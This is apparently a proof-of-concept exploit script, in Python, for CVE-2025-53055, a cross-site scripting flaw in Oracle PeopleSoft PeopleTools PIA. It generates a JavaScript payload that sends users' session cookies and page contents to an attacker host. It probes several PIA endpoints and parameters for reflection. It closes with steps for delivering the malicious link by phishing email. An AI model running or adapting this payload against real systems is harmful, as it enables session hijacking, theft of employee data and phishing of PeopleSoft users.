CVE-2025-53055 Oracle PeopleSoft PeopleTools PIA核心组件漏洞

# CVE-2025-53055 - Oracle PeopleSoft PeopleTools PIA Core Technology XSS PoC # Vulnerability: Reflected/Stored XSS in PIA Core Technology component # Affected versions: 8.60, 8.61, 8.62 import requests import sys from urllib.parse import quote TARGET_URL = "http://target-peoplesoft-server:8000" # Common PeopleSoft PIA portal endpoints PIA_ENDPOINTS = [ "/psp/ps/EMPLOYEE/HRMS/c/ROLE_EMPLOYEE.SS_GLOBAL_SEARCH.GBL", "/psp/ps/EMPLOYEE/HRMS/h/?cmd=login", "/psp/ps/EMPLOYEE/HRMS/c/SA_LEARNER_SELF.SS_SELF_SERVICE.GBL", ] def generate_xss_payload(): """Generate XSS payload for PeopleSoft PIA Core Technology""" # JavaScript payload to demonstrate data exfiltration js_code = """ var img = new Image(); img.src = 'http://attacker-server/steal?cookie=' + document.cookie + '&url=' + document.location.href; fetch('/psp/ps/EMPLOYEE/HRMS/c/ROLE_EMPLOYEE.SS_GLOBAL_SEARCH.GBL', { credentials: 'include' }).then(r => r.text()).then(data => { new Image().src = 'http://attacker-server/exfil?data=' + btoa(data.substring(0, 500)); }); """ return f"<script>{js_code}</script>" def check_endpoint(endpoint): """Check if endpoint is vulnerable to reflected XSS""" payload = generate_xss_payload() # Common injectable parameters in PeopleSoft PIA params = ["ICType", "ICId", "ICElementNum", "ICStateNum", "ICAction", "ICFocus", "ICResubmit"] for param in params: url = f"{TARGET_URL}{endpoint}?{param}={quote(payload)}" try: resp = requests.get(url, timeout=10, allow_redirects=False) if payload in resp.text or quote(payload) in resp.text: print(f"[+] Potential XSS found at: {url}") print(f" Parameter: {param}") return True except Exception as e: print(f"[-] Error testing {endpoint}: {e}") return False def exploit(): """Main exploit function""" print(f"[*] Targeting: {TARGET_URL}") print(f"[*] CVE-2025-53055 - Oracle PeopleSoft PIA Core Technology XSS\n") for endpoint in PIA_ENDPOINTS: print(f"[*] Testing endpoint: {endpoint}") if check_endpoint(endpoint): print(f"[+] Endpoint {endpoint} appears vulnerable!") break print("\n[*] To exploit:") print(" 1. Craft a malicious URL with injected JavaScript") print(" 2. Send the URL to a PeopleSoft user via phishing email") print(" 3. When user clicks, JavaScript executes in their session context") print(" 4. Attacker can steal session data or perform unauthorized actions") if __name__ == "__main__": exploit()